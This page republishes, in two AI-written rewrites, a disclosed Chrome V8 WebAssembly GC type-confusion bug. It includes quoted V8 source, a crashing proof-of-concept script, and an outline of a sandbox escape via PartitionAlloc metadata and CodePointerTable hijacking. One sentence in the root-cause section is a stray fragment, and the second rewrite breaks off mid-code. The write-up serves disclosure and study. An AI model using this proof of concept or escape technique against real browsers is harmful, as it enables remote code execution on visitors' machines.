Skip to content
Memory corruption Write-up Advanced

SSD Advisory: Google Chrome RCE

A type confusion in V8's WebAssembly GC canonical type handling allowed a canonical type id to be truncated and misinterpreted as a heap type, so a JS-to-Wasm boundary could accept objects of the wrong type. An attacker could use this to build arbitrary read/write primitives inside the V8 heap and then abuse PartitionAlloc metadata to escape the V8 heap sandbox.

ssd-disclosure.com

Published on ssd-disclosure.com

WASM isorecursive canonical type id <-> wasm::HeapType / wasm::ValueType confusion in JS-to-WASM conversion functions and their wrappers (FromJS(), (Wasm)JSToWasmObject(), etc.), resulting in type confusion between arbitrary WASM types.

SSD Secure Disclosure technical team, on ssd-disclosure.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 14 min read.

Context

This is a write-up of a Google Chrome remote code execution vulnerability in V8's WebAssembly garbage collection (WasmGC) support, published by the SSD Secure Disclosure technical team. The bug lives in the conversion of JavaScript values into WebAssembly objects at the JS-to-Wasm boundary, in functions such as FromJS(), WasmJSToWasmObject() and JSToWasmObject(). The result is a type confusion between arbitrary WASM types, which the author uses to escape the V8 heap sandbox and obtain code execution.

The author describes it as a variant of CVE-2024-2887, a bug found by Manfred Paul and presented at Pwn2Own Vancouver 2024. The credit goes to Seunghyun Lee (@0x10n), an independent security researcher participating in SSD Secure Disclosure's TyphoonPWN 2024. The vendor fixed the issue in Google Chrome version 124; versions 123 and prior are affected.

Setup

The report does not describe a particular test machine, build or toolchain. The proof of concept is a JavaScript file (poc.js) that uses the WasmModuleBuilder helper, and the full exploit is delivered as an HTML page (exp.html) containing an embedded copy of the V8 test helper code for building Wasm modules.

Finding it

WasmGC types are canonicalised so that types from different modules can be compared structurally. Because WasmGC allows isorecursive types, comparison has to work across recursive groups that live in different modules. V8 implements this by canonicalising every type from every module in a single isolate into a uniquely identified uint32_t index. The process lives in v8/src/wasm/canonical-types.cc, and the author summarises it as follows:

  1. Canonicalise type indexes in a recursive group by the following rule:
  2. Type indexes already defined (outside of its recursive group) use the already canonicalised value.
  3. Type indexes representing a different type within the same group compute a relative type index from the first type and are marked as relative.
  4. If the canonicalised recursive group already exists in the database, the saved indexes are used.
  5. Otherwise the recursive group is saved into the database and new indexes are created incrementally.

This gives structural type equivalence: (type $t1 (struct (mut i32) (mut i64))) from module M1 is equivalent to (type $t2 (struct (mut i32) (mut i64))) from module M2 when canonicalised in any order, and the same holds for more complex recursive groups.

The global canonicalisation database is managed by a singleton class, TypeCanonicalizer:

C++
TypeCanonicalizer* GetTypeCanonicalizer() {
  return GetWasmEngine()->type_canonicalizer();
}

class TypeCanonicalizer {
 public:
  static constexpr uint32_t kPredefinedArrayI8Index = 0;
  static constexpr uint32_t kPredefinedArrayI16Index = 1;
  static constexpr uint32_t kNumberOfPredefinedTypes = 2;
  //...
 private:
  //...
  std::vector<uint32_t> canonical_supertypes_;
  // Maps groups of size >=2 to the canonical id of the first type.
  std::unordered_map<CanonicalGroup, uint32_t, base::hash<CanonicalGroup>>
      canonical_groups_;
  // Maps group of size 1 to the canonical id of the type.
  std::unordered_map<CanonicalSingletonGroup, uint32_t,
                     base::hash<CanonicalSingletonGroup>>
      canonical_singleton_groups_;
  // ...
};

A canonical type id is a globally unique uint32_t representing a specific WasmGC type within the isolate. canonical_supertypes_ encodes the subtyping relationship: canonical_supertypes_[sub] = super means super is the supertype of sub, all in canonical type ids.

Each WASM module keeps a vector that converts its internal type index into the canonicalised index:

C++
struct V8_EXPORT_PRIVATE WasmModule {
  //...
  std::vector<TypeDefinition> types;  // by type index
  // Maps each type index to its global (cross-module) canonical index as per
  // isorecursive type canonicalization.
  std::vector<uint32_t> isorecursive_canonical_type_ids;
  //...
}

Here isorecursive_canonical_type_ids[t] = c means type index t canonicalises to type id c. The maximum type index a single module can have is kV8MaxWasmTypes, which is 1000000, enforced during decoding in DecodeTypeSection(). The important observation is that the canonical type id is not bounded by kV8MaxWasmTypes at all: it can grow as far as host memory allows, simply by creating more WASM modules with different types.

Following cross-references for isorecursive_canonical_type_ids leads to WasmWrapperGraphBuilder::FromJS(), the runtime function WasmJSToWasmObject() and JSToWasmObject(). In FromJS() the code looks like this:

C++
  Node* FromJS(Node* input, Node* js_context, wasm::ValueType type,
               const wasm::WasmModule* module, Node* frame_state = nullptr) {
    switch (type.kind()) {
      case wasm::kRef:
      case wasm::kRefNull: {
        switch (type.heap_representation_non_shared()) {
          //...
          case wasm::HeapType::kNone:
          case wasm::HeapType::kNoFunc:
          case wasm::HeapType::kI31:
          case wasm::HeapType::kAny:
          case wasm::HeapType::kFunc:
          case wasm::HeapType::kStruct:
          case wasm::HeapType::kArray:
          case wasm::HeapType::kEq:
          default: {
            // Make sure ValueType fits in a Smi.
            static_assert(wasm::ValueType::kLastUsedBit + 1 <= kSmiValueSize);

            if (type.has_index()) {
              DCHECK_NOT_NULL(module);
              uint32_t canonical_index =
                  module->isorecursive_canonical_type_ids[type.ref_index()];
              type = wasm::ValueType::RefMaybeNull(canonical_index,           // [!] canonical type id used as wasm::HeapType
                                                   type.nullability());
            }

            Node* inputs[] = {
                input, mcgraph()->IntPtrConstant(
                           IntToSmi(static_cast<int>(type.raw_bit_field())))};

            return BuildCallToRuntimeWithContext(Runtime::kWasmJSToWasmObject,
                                                 js_context, inputs, 2);
          }
        }
      }
      //...
    }
  }

This function runs at the JS-to-Wasm conversion boundary. The canonical index of the referenced type is wrapped into wasm::ValueType::RefMaybeNull() and passed to the runtime function WasmJSToWasmObject(), eventually reaching JSToWasmObject().

wasm::ValueType is defined as follows:

C++
// A ValueType is encoded by two components: a ValueKind and a heap
// representation (for reference types/rtts). Those are encoded into 32 bits
// using base::BitField. The underlying ValueKind enumeration includes four
// elements which do not strictly correspond to value types: the two packed
// types i8 and i16, the void type (for control structures), and a bottom value
// (for internal use).
// ValueType encoding includes an additional bit marking the index of a type as
// relative. This should only be used during type canonicalization.
class ValueType {
 public:
  //...
  static constexpr ValueType RefMaybeNull(uint32_t heap_type,
                                          Nullability nullability) {
    DCHECK(HeapType(heap_type).is_valid());
    return ValueType(
        KindField::encode(nullability == kNullable ? kRefNull : kRef) |
        HeapTypeField::encode(heap_type));                                          // [!]
  }
  //...
  /**************************** Static constants ******************************/
  static constexpr int kLastUsedBit = 25;
  static constexpr int kKindBits = 5;
  static constexpr int kHeapTypeBits = 20;

  static const intptr_t kBitFieldOffset;

 private:
  // {hash_value} directly reads {bit_field_}.
  friend size_t hash_value(ValueType type);

  using KindField = base::BitField<ValueKind, 0, kKindBits>;
  using HeapTypeField = KindField::Next<uint32_t, kHeapTypeBits>;                   // [!] HeapType, 20 bits wide
  // Marks a type as a canonical type which uses an index relative to its
  // recursive group start. Used only during type canonicalization.
  using CanonicalRelativeField = HeapTypeField::Next<bool, 1>;
  //...
}

The heap_type field is not designed to hold a full uint32_t canonical type id; it is designed to hold a wasm::HeapType. There is a confusion between the two representations (canonicalised type id versus type index). Because wasm::HeapType always fits in 20 bits, the initialiser and the getters truncate the value to 20 bits.

Exploitation

Step 1: truncation of the canonical type id

The truncation produces the first exploitable primitive: the JS-to-Wasm type check confuses canonical type ids t1 and t2 whenever (t1 & 0xfffff) == (t2 & 0xfffff). For a JS-to-Wasm boundary typechecked to receive objects of canonical type id tn = t0 + 0x100000 * n where 0 < t0 < 0x100000, the runtime type check is performed against the truncated t0 instead. Objects of type t0 and its subtypes therefore bypass the check against tn and pass the JS-to-Wasm conversion, giving further type confusion.

Step 2: canonical type id used as a wasm::HeapType

The second primitive is simpler than working with index wraparounds. Since the code confuses a canonical type id with a wasm::HeapType, there are cases where the canonical type id is misused as a wasm::HeapType. Following the call chain into JSToWasmObject():

C++
class HeapType {
 public:
  enum Representation : uint32_t {
    kFunc = kV8MaxWasmTypes,  // shorthand: c
    kEq,                      // shorthand: q
    kI31,                     // shorthand: j
    kStruct,                  // shorthand: o
    kArray,                   // shorthand: g
    kAny,                     //                                    // [!] top type ("any")
    kExtern,                  // shorthand: a.
    //...
  };
  //...
}

namespace wasm {
MaybeHandle<Object> JSToWasmObject(Isolate* isolate, Handle<Object> value,
                                   ValueType expected_canonical,
                                   const char** error_message) {
  //...
  switch (expected_canonical.heap_representation_non_shared()) {
    //...
    case HeapType::kAny: {                                          // [!] all non-null JS values allowed
      if (IsSmi(*value)) return CanonicalizeSmi(value, isolate);
      if (IsHeapNumber(*value)) {
        return CanonicalizeHeapNumber(value, isolate);
      }
      if (!IsNull(*value, isolate)) return value;
      *error_message = "null is not allowed for (ref any)";
      return {};
    }
    //...
  }
  //...
}

This is the second vulnerability: the JS-to-Wasm type check confuses the truncated canonical type id with a wasm::HeapType. Any type whose canonical type id has the form tn = kAny + 0x100000 * n (where kAny = 1000005) is treated as allowing all subtypes of any. Since any is a top type, that includes everything except null, which the exploit does not need.

Step 3: the proof of concept

The result is a strong exploitation primitive: arbitrary type confusion between WASM objects. Building caged read/write, addrOf() and fakeObj() from it is described in the CVE-2024-2887 write-up; the author's short summary is to cause confusion between (type $t1 (struct (mut i32))), (type $t2 (struct (ref $t1))) and (type $t3 (struct (exnref))), corresponding to int, int* and jsobj.

The proof of concept first stacks up canonicalised types so that a chosen struct lands on the kAny value:

JavaScript
// poc.js
// kNumberOfPredefinedTypes = 2

// stack up 1000000 more canonicalized types (total 1000002)
{
  const builder = new WasmModuleBuilder();
  builder.startRecGroup();
  for (let i = 0; i < 1000000; i++) {
    builder.addArray(kWasmI64);
  }
  builder.endRecGroup();
  builder.instantiate();
}

// confuse argument as struct (mut i32) by aliasing canonicalized type with kAny
{
  let builder = new WasmModuleBuilder();
  builder.startRecGroup();
  builder.addArray(kWasmI64); // 1000002
  builder.addArray(kWasmI64); // 1000003
  builder.addArray(kWasmI64); // 1000004
  let struct = builder.addStruct([makeField(kWasmI32, true)]); // 1000005 <- kAny
  let funcSig = builder.addType(makeSig([wasmRefType(struct)], [kWasmI32])); // 1000006
  builder.endRecGroup();
  builder
    .addFunction("read", funcSig)
    .addBody([
      kExprLocalGet,
      0,
      kGCPrefix,
      kExprStructGet,
      struct,
      ...wasmUnsignedLeb(0),
    ])
    .exportFunc();
  const instance = builder.instantiate();
  const wasm = instance.exports;

  // this should obviously fail, instead of reading from the given JS object (or smi)
  // instead we segfault on the smi as caged offset
  console.log(wasm.read(0).toString(16));
}

// FromJS / WasmJSToWasmObject is mistaking canonicalized type indexes as normal type indexes.
// This confusion also results in the value to be truncated to 20bits (= 0x100000 = 1048576) since
//  ValueType is used to represent the type indexes, so we can even cycle back to 0 and create more
//  types that are confused as kAny.
// => Arbitrary WASM type confusion, variant of @_manfp's CVE-2024-2887 at Pwn2Own Vancouver 2024

The first block creates one million array types in a single recursive group, pushing the canonical id counter to 1000002. The second block adds three more arrays (1000002, 1000003, 1000004) and then a struct of one mutable i32 field, which receives canonical id 1000005, the value of kAny. The exported read function takes a reference to that struct and performs struct.get on field 0. Calling wasm.read(0) should fail the type check, but instead the argument is accepted as any and the Smi is used as a caged offset, which segfaults. The comment notes that the truncation to 20 bits (0x100000) means the counter can cycle back to 0 and produce further types confused with kAny.

Step 4: escaping the V8 heap sandbox through PartitionAlloc

The remaining piece is escaping the V8 heap sandbox. The author argues that, despite the absence of publicly known techniques, this is still trivial by abusing PartitionAlloc. PartitionAlloc is not part of the 4GB V8 pointer compression cage, but it sits inside the 1TB V8 heap sandbox and is reachable from it (the pointer compression cage and the heap sandbox are not a security boundary between each other). It is rich in external pointers that are used directly without meaningful mitigation.

By modifying ArrayBuffer object fields with addrOf() and caged_write(), specifically the backing_store field, it is easy to gain control over PartitionAlloc metadata. This immediately yields a chrome.dll address leak from SlotSpanMetadata::bucket:

C++
struct SlotSpanMetadata {
 private:
  PartitionFreelistEntry* freelist_head = nullptr;

 public:
  // TODO(lizeb): Make as many fields as possible private or const, to
  // encapsulate things more clearly.
  SlotSpanMetadata* next_slot_span = nullptr;
  PartitionBucket* const bucket = nullptr;                                        // [!] chrome.dll address leak

  // CHECK()ed in AllocNewSlotSpan().
  // The maximum number of bits needed to cover all currently supported OSes.
  static constexpr size_t kMaxSlotsPerSlotSpanBits = 13;
  static_assert(kMaxSlotsPerSlotSpan < (1 << kMaxSlotsPerSlotSpanBits), "");

  // |marked_full| isn't equivalent to being full. Slot span is marked as full
  // iff it isn't on the active slot span list (or any other list).
  uint32_t marked_full : 1;
  // |num_allocated_slots| is 0 for empty or decommitted slot spans, which can
  // be further differentiated by checking existence of the freelist.
  uint32_t num_allocated_slots : kMaxSlotsPerSlotSpanBits;
  uint32_t num_unprovisioned_slots : kMaxSlotsPerSlotSpanBits;

 private:
  const uint32_t can_store_raw_size_ : 1;
  uint32_t freelist_is_sorted_ : 1;
  uint32_t unused1_ : (32 - 1 - 2 * kMaxSlotsPerSlotSpanBits - 1 - 1);
  // If |in_empty_cache_|==1, |empty_cache_index| is undefined and mustn't be
  // used.
  uint16_t in_empty_cache_ : 1;
  uint16_t empty_cache_index_
      : kMaxEmptyCacheIndexBits;  // < kMaxFreeableSpans.
  uint16_t unused2_ : (16 - 1 - kMaxEmptyCacheIndexBits);
  // Can use only 48 bits (6B) in this bitfield, as this structure is embedded
  // in PartitionPage which has 2B worth of fields and must fit in 32B.
  //...
}

Because bucket is later dereferenced and written to, it is the target field. The code involved in freeing an object is:

C++
PA_ALWAYS_INLINE void SlotSpanMetadata::Free(
    uintptr_t slot_start,
    PartitionRoot* root,
    const PartitionFreelistDispatcher* freelist_dispatcher)
    // PartitionRootLock() is not defined inside partition_page.h, but
    // static analysis doesn't require the implementation.
    PA_EXCLUSIVE_LOCKS_REQUIRED(PartitionRootLock(root)) {
  //...
  if (PA_UNLIKELY(marked_full || num_allocated_slots == 0)) {
    FreeSlowPath(1);                                            // [!] target path
  } else {
    // All single-slot allocations must go through the slow path to
    // correctly update the raw size.
    PA_DCHECK(!CanStoreRawSize());
  }
}

void SlotSpanMetadata::FreeSlowPath(size_t number_of_freed) {
  //...
  if (marked_full) {
    //...
    marked_full = 0;
    //...
    if (PA_LIKELY(bucket->active_slot_spans_head != get_sentinel_slot_span())) {
      next_slot_span = bucket->active_slot_spans_head;
    }
    bucket->active_slot_spans_head = this;                      // [!] arbitrary address write
    PA_CHECK(bucket->num_full_slot_spans);  // Underflow.       // [!] constraint
    --bucket->num_full_slot_spans;                              // [!] arbitrary address decr (24bit int)
  }

  if (PA_LIKELY(num_allocated_slots == 0)) {
    //...
    if (PA_LIKELY(this == bucket->active_slot_spans_head)) {
      bucket->SetNewActiveSlotSpan();
    }
    //...
  }
}

bool PartitionBucket::SetNewActiveSlotSpan() {
  //...
  for (; slot_span; slot_span = next_slot_span) {
    next_slot_span = slot_span->next_slot_span;                 // [!] constraint: target should be zero
    //...
    if (slot_span->is_active()) {                               // [!] constraint: false on zeros
      //...
    } else if (slot_span->is_empty()) {                         // [!] arbitrary write
      slot_span->next_slot_span = empty_slot_spans_head;
      empty_slot_spans_head = slot_span;
    } else if (PA_LIKELY(slot_span->is_decommitted())) {
      slot_span->next_slot_span = decommitted_slot_spans_head;  // [!] arbitrary write
      decommitted_slot_spans_head = slot_span;
    } else {
      //...
    }
  }
  //...
}

By modifying the bucket field and setting the marked_full bit in the slot span metadata, the code reaches FreeSlowPath(), where an arbitrary address write is possible with the metadata address as the written value. The immediate PA_CHECK() is a constraint the target address must satisfy. An arbitrary address decrement follows, which can also be used as desired, for example to shift a JIT code address out of CodePointerTables.

This primitive can do whatever is needed, and arbitrary values can be created out of thin air: once the PA_CHECK() constraint is satisfied from an adjacent higher address, the value can be pulled down by repeatedly decrementing one by one to the desired location, then the decrement triggered repeatedly to create an arbitrary value.

The PartitionBucket::SetNewActiveSlotSpan() path can also be taken with this being the attacker-controlled PartitionBucket*. That gives an arbitrary write of an arbitrary value to a target pointer that already contains NULL, plus a few more constraints that are easy to satisfy. It supplements the first primitive when writing arbitrary values in the middle of a large region of zeros, where PA_CHECK(bucket->num_full_slot_spans) may be hard to satisfy.

Step 5: popping a shell

With the sandbox bypassed through the arbitrary address write, the rest is using the primitive to pop a shell. Full RCE is obtained by hijacking the CodePointerTable, located just in front of the Sandbox object:

  1. Prepare the ROP chain, shellcode and anything else required.
  2. Overwrite the CPT function table base to point at a controlled ArrayBuffer filled with the pivot gadget.
  3. Trigger code that invokes calls through the CPT to call the pivot gadget (JSEntry() is the simplest one).

The gadget pivots the stack to the ROP chain, which sets the shellcode region to executable and returns to the shellcode.

The full exploit is delivered as exp.html, which embeds the V8 test helper code for building Wasm modules (byte encoding helpers, section and opcode constants, signature helpers and the WasmModuleBuilder machinery) inside a <script> block, with a <textarea id="log"> used for output. The report shows the beginning of that helper code, including the bytes() function, the header and section constants, the value type constants, the opcode table and the GC, numeric, atomic and SIMD prefix opcodes.

Root cause

The mistake is a representation confusion in the JS-to-Wasm conversion path. FromJS() takes the canonical type id from module->isorecursive_canonical_type_ids[type.ref_index()] and passes it to wasm::ValueType::RefMaybeNull(), which stores it in the 20-bit HeapTypeField intended for a wasm::HeapType. Canonical type ids are unbounded uint32_t values, so they are truncated to 20 bits. The truncated value is then used both for the runtime type check in JSToWasmObject() and, when it happens to equal a HeapType representation such as kAny, as if it were that heap type. Because kAny is a top type, the check accepts every non-null JS value.

, and the kV8MaxWasmTypes limit of 1000000 applies to per-module type indexes, not to the global canonical id counter, which can be driven past kAny by instantiating modules with many types. The heap sandbox does not help either, because PartitionAlloc metadata lives inside the 1TB sandbox and its external pointers are used without meaningful mitigation.

Impact

An attacker who can run JavaScript in the browser can turn the WASM type confusion into arbitrary read and write within the V8 heap, then into arbitrary address write in PartitionAlloc metadata, and finally into control flow hijacking through the CodePointerTable, resulting in full RCE. The report does not state which process or privilege level the shellcode runs at beyond describing it as full RCE, and it does not give a CVSS score or a bounty amount.

Fix

The vendor issued a fix in Google Chrome version 124.

Variants to test

  • Look for other places where a canonical type id is stored in a wasm::ValueType or otherwise narrowed to 20 bits, such as other wrappers around JSToWasmObject(). A positive result is a JS-to-Wasm call that accepts a value of a different type than the signature declares.
  • Check whether the canonical id counter can be driven to other reserved HeapType representations (kFunc, kEq, kI31, kStruct, kArray, kExtern) by creating enough types. A positive result is a type check that behaves like the reserved heap type instead of the declared struct or array.
  • Test the 20-bit wraparound directly: declare a parameter of canonical type t0 + 0x100000 * n and pass an object of type t0. A positive result is the call succeeding where it should fail.
  • On other engines or runtimes with structural type canonicalisation, check whether canonical ids are bounded by the per-module type limit. A positive result is a canonical id larger than the module limit being accepted anywhere a type index is expected.
  • Where a sandbox surrounds an allocator, check whether allocator metadata reachable from inside the sandbox contains external pointers that are dereferenced and written on free. A positive result is a leak of a module address or a write to an attacker-chosen address through metadata corruption.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 33 min read.

What happened, in plain words

Google Chrome is a web browser. Inside it, a component called V8 runs the JavaScript that every web page contains. V8 also runs WebAssembly, usually shortened to Wasm, which is a faster, lower-level language that pages can use for heavy work such as games or video editing. A security researcher found a way to make V8 mix up two different kinds of Wasm data. That mix-up let a malicious web page read and write memory it should never touch, and eventually run its own code. This is called remote code execution, or RCE: the attacker's code runs on your machine just by you visiting a page.

The bug was published by the SSD Secure Disclosure technical team. The credit goes to Seunghyun Lee (@0x10n), an independent security researcher taking part in SSD Secure Disclosure's TyphoonPWN 2024. The author describes the bug as a variant of CVE-2024-2887, a bug found by Manfred Paul and presented at Pwn2Own Vancouver 2024. Google fixed it in Chrome version 124; versions 123 and earlier are affected.

The technical name for the class of mistake is type confusion. Imagine a cloakroom that hands out coats by ticket number, but the attendant only looks at the last three digits of the ticket. Two different tickets ending in 123 would fetch the same coat. Here, V8 stores a number identifying a Wasm type, but only keeps part of it, so two different types can end up looking identical. The rest of this article walks through how that happens and how it is turned into running code.

The pieces you need to know first

Before the details, a few ideas from the report, explained from zero.

  • JavaScript and the browser. A web page can contain a script. The browser runs that script in a restricted area called a sandbox, so that a bad page cannot simply take over the computer. The whole game of browser exploitation is getting out of that sandbox.
  • WebAssembly (Wasm). A second language that browsers understand. Pages compile code to Wasm for speed. Wasm has its own rules about data types, separate from JavaScript's.
  • WasmGC. A recent addition to Wasm that lets Wasm programs create and manage complex objects (structs and arrays) the way JavaScript does, with automatic cleanup of unused memory (garbage collection). It brings a rich type system into Wasm.
  • Types and subtypes. A type describes the shape of a value: for example, a struct with one 32-bit integer field. A subtype is a more specific version of a type. A top type is the most general type of all: every value belongs to it. In WasmGC the top type is called any.
  • Canonicalisation. Two Wasm modules written by different people may declare the same struct. To let them share objects, V8 gives every distinct type a single global number, its canonical type id, so that identical shapes get identical numbers. This is like a library giving every distinct book title one catalogue number, no matter which branch ordered it.
  • The JS-to-Wasm boundary. When JavaScript calls a Wasm function, or passes an object into one, V8 has to check that the JavaScript value really has the type the Wasm function expects. That check is where the bug lives.
  • PartitionAlloc. Chrome's memory allocator: the component that hands out chunks of memory to the rest of the browser and keeps records about those chunks. Its records (metadata) contain pointers, which are numeric memory addresses.
  • The V8 heap sandbox and the pointer compression cage. V8 keeps its objects inside a large reserved region, the heap sandbox, about 1TB in size. Inside it, a smaller 4GB region, the pointer compression cage, holds most JavaScript objects, and pointers inside it are stored as short 32-bit offsets to save space. PartitionAlloc is not inside the 4GB cage, but it is inside the 1TB sandbox, and the report notes that the cage and the sandbox are not a security boundary between each other.
  • ROP chain, shellcode, pivot gadget. Once an attacker can write to memory, they need to make the processor execute their instructions. Shellcode is a small piece of machine code that does the attacker's bidding. A ROP chain is a list of existing code fragments stitched together to do useful work. A pivot gadget is a tiny instruction sequence that moves the processor's stack pointer to a place the attacker controls, so the ROP chain runs.
  • CodePointerTable (CPT). A table V8 uses to store the addresses of compiled code, so that code pointers are kept in one place rather than scattered through objects.

Finding it

The report starts with how WasmGC types are canonicalised. Because WasmGC allows isorecursive types (types that may refer to themselves or to each other in a group), comparing types from different modules has to work across those groups. V8 does this by canonicalising every type from every module in a single isolate (one isolated V8 instance) into a uniquely identified uint32_t index. A uint32_t is an unsigned 32-bit integer: a whole number from 0 to about 4.29 billion. The code lives in v8/src/wasm/canonical-types.cc, and the author summarises the process as follows:

  1. Canonicalise type indexes in a recursive group by the following rule:
  2. Type indexes already defined (outside of its recursive group) use the already canonicalised value.
  3. Type indexes representing a different type within the same group compute a relative type index from the first type and are marked as relative.
  4. If the canonicalised recursive group already exists in the database, the saved indexes are used.
  5. Otherwise the recursive group is saved into the database and new indexes are created incrementally.

In plain words: when a module declares a group of types that refer to each other, V8 walks through them, reuses numbers it has already handed out for types it has seen before, and gives fresh numbers to genuinely new ones. The result is structural type equivalence: (type $t1 (struct (mut i32) (mut i64))) from module M1 is equivalent to (type $t2 (struct (mut i32) (mut i64))) from module M2 when canonicalised in any order, and the same holds for more complex recursive groups. Two modules that independently describe the same shape end up with the same catalogue number, so objects can be passed between them.

The global catalogue is managed by a singleton class, TypeCanonicalizer. A singleton is a class of which only one instance exists in the program; here it is the one shared catalogue for the whole isolate.

C++
TypeCanonicalizer* GetTypeCanonicalizer() {
  return GetWasmEngine()->type_canonicalizer();
}

class TypeCanonicalizer {
 public:
  static constexpr uint32_t kPredefinedArrayI8Index = 0;
  static constexpr uint32_t kPredefinedArrayI16Index = 1;
  static constexpr uint32_t kNumberOfPredefinedTypes = 2;
  //...
 private:
  //...
  std::vector<uint32_t> canonical_supertypes_;
  // Maps groups of size >=2 to the canonical id of the first type.
  std::unordered_map<CanonicalGroup, uint32_t, base::hash<CanonicalGroup>>
      canonical_groups_;
  // Maps group of size 1 to the canonical id of the type.
  std::unordered_map<CanonicalSingletonGroup, uint32_t,
                     base::hash<CanonicalSingletonGroup>>
      canonical_singleton_groups_;
  // ...
};

Line by line:

  • TypeCanonicalizer* GetTypeCanonicalizer() is a function that returns a pointer to the one catalogue object. A pointer is a number that says where in memory an object lives.
  • return GetWasmEngine()->type_canonicalizer(); fetches the Wasm engine and asks it for its catalogue.
  • class TypeCanonicalizer { begins the definition of the catalogue.
  • kPredefinedArrayI8Index = 0 and kPredefinedArrayI16Index = 1 reserve catalogue numbers 0 and 1 for two built-in array types (arrays of 8-bit and 16-bit integers).
  • kNumberOfPredefinedTypes = 2 records that two numbers are already taken before any user module is loaded. This matters later: the first user type gets number 2.
  • canonical_supertypes_ is a list where entry sub holds the number of sub's parent type, encoding which types are subtypes of which.
  • canonical_groups_ is a lookup table (a map) from a group of two or more types to the catalogue number of the first type in that group.
  • canonical_singleton_groups_ is the same idea for groups that contain only one type.

A canonical type id is a globally unique uint32_t representing a specific WasmGC type within the isolate. canonical_supertypes_ encodes the subtyping relationship: canonical_supertypes_[sub] = super means super is the supertype of sub, all in canonical type ids.

Each Wasm module keeps a vector (a growable list) that converts its own internal type index into the canonicalised index:

C++
struct V8_EXPORT_PRIVATE WasmModule {
  //...
  std::vector<TypeDefinition> types;  // by type index
  // Maps each type index to its global (cross-module) canonical index as per
  // isorecursive type canonicalization.
  std::vector<uint32_t> isorecursive_canonical_type_ids;
  //...
}

Line by line:

  • struct V8_EXPORT_PRIVATE WasmModule { starts the description of a loaded Wasm module. V8_EXPORT_PRIVATE is a visibility marker, not relevant to the bug.
  • std::vector<TypeDefinition> types; is the module's own list of type definitions, indexed by the module's local type index.
  • std::vector<uint32_t> isorecursive_canonical_type_ids; is a parallel list: entry t holds the global catalogue number for local type t.

Here isorecursive_canonical_type_ids[t] = c means type index t canonicalises to type id c. The maximum type index a single module can have is kV8MaxWasmTypes, which is 1000000, enforced during decoding in DecodeTypeSection(). Decoding is the step where the browser reads the binary form of a Wasm module and checks it. The important observation is that the canonical type id is not bounded by kV8MaxWasmTypes at all: it can grow as far as host memory allows, simply by creating more Wasm modules with different types. In other words, one module may declare at most a million types, but the global catalogue number keeps climbing every time any module adds a new type.

Following cross-references for isorecursive_canonical_type_ids leads to WasmWrapperGraphBuilder::FromJS(), the runtime function WasmJSToWasmObject() and JSToWasmObject(). A cross-reference is simply a search for every place a name is used. In FromJS() the code looks like this:

C++
  Node* FromJS(Node* input, Node* js_context, wasm::ValueType type,
               const wasm::WasmModule* module, Node* frame_state = nullptr) {
    switch (type.kind()) {
      case wasm::kRef:
      case wasm::kRefNull: {
        switch (type.heap_representation_non_shared()) {
          //...
          case wasm::HeapType::kNone:
          case wasm::HeapType::kNoFunc:
          case wasm::HeapType::kI31:
          case wasm::HeapType::kAny:
          case wasm::HeapType::kFunc:
          case wasm::HeapType::kStruct:
          case wasm::HeapType::kArray:
          case wasm::HeapType::kEq:
          default: {
            // Make sure ValueType fits in a Smi.
            static_assert(wasm::ValueType::kLastUsedBit + 1 <= kSmiValueSize);

            if (type.has_index()) {
              DCHECK_NOT_NULL(module);
              uint32_t canonical_index =
                  module->isorecursive_canonical_type_ids[type.ref_index()];
              type = wasm::ValueType::RefMaybeNull(canonical_index,           // [!] canonical type id used as wasm::HeapType
                                                   type.nullability());
            }

            Node* inputs[] = {
                input, mcgraph()->IntPtrConstant(
                           IntToSmi(static_cast<int>(type.raw_bit_field())))};

            return BuildCallToRuntimeWithContext(Runtime::kWasmJSToWasmObject,
                                                 js_context, inputs, 2);
          }
        }
      }
      //...
    }
  }

Line by line:

  • Node* FromJS(...) is a function that builds the machine-level code for converting a JavaScript value into a Wasm object. Node is a building block in V8's compiler.
  • The parameters are the input value, the JavaScript context, the expected Wasm type, the module the type belongs to, and an optional frame state used for debugging information.
  • switch (type.kind()) branches on whether the type is a reference type (kRef) or a nullable reference type (kRefNull). A reference type means "a pointer to an object" rather than a plain number.
  • The inner switch (type.heap_representation_non_shared()) branches on which kind of heap object the reference points to. A heap is the area of memory where objects live.
  • The listed case labels (kNone, kNoFunc, kI31, kAny, kFunc, kStruct, kArray, kEq) are the built-in heap types, plus default for user-defined ones.
  • static_assert(wasm::ValueType::kLastUsedBit + 1 <= kSmiValueSize); is a compile-time check that the type encoding fits in a Smi. A Smi is V8's way of storing a small integer directly inside a pointer-sized word, with a tag bit to tell it apart from a real pointer.
  • if (type.has_index()) asks whether this type is a user-defined type with a numeric index, rather than one of the built-ins.
  • DCHECK_NOT_NULL(module); is a debug-only assertion that the module pointer is present.
  • uint32_t canonical_index = module->isorecursive_canonical_type_ids[type.ref_index()]; looks up the global catalogue number for the module's local type index. This is the crucial line: a number that can be up to about 4.29 billion is fetched.
  • type = wasm::ValueType::RefMaybeNull(canonical_index, type.nullability()); then stores that catalogue number into a ValueType, a structure that was only ever meant to hold a small heap type. The comment // [!] canonical type id used as wasm::HeapType marks the mistake.
  • Node* inputs[] = { input, ... IntToSmi(static_cast<int>(type.raw_bit_field()))}; packs the input value and the encoded type into two arguments for the runtime call.
  • return BuildCallToRuntimeWithContext(Runtime::kWasmJSToWasmObject, js_context, inputs, 2); emits a call to the runtime function that performs the actual conversion and check.

This function runs at the JS-to-Wasm conversion boundary. The canonical index of the referenced type is wrapped into wasm::ValueType::RefMaybeNull() and passed to the runtime function WasmJSToWasmObject(), eventually reaching JSToWasmObject().

wasm::ValueType is defined as follows:

C++
// A ValueType is encoded by two components: a ValueKind and a heap
// representation (for reference types/rtts). Those are encoded into 32 bits
// using base::BitField. The underlying ValueKind enumeration includes four
// elements which do not strictly correspond to value types: the two packed
// types i8 and i16, the void type (for control structures), and a bottom value
// (for internal use).
// ValueType encoding includes an additional bit marking the index of a type as
// relative. This should only be used during type canonicalization.
class ValueType {
 public:
  //...
  static constexpr ValueType RefMaybeNull(uint32_t heap_type,
                                          Nullability nullability) {
    DCHECK(HeapType(heap_type).is_valid());
    return ValueType(
        KindField::encode(nullability == kNullable ? kRefNull : kRef) |
        HeapTypeField::encode(heap_type));                                          // [!]
  }
  //...
  /**************************** Static constants ******************************/
  static constexpr int kLastUsedBit = 25;
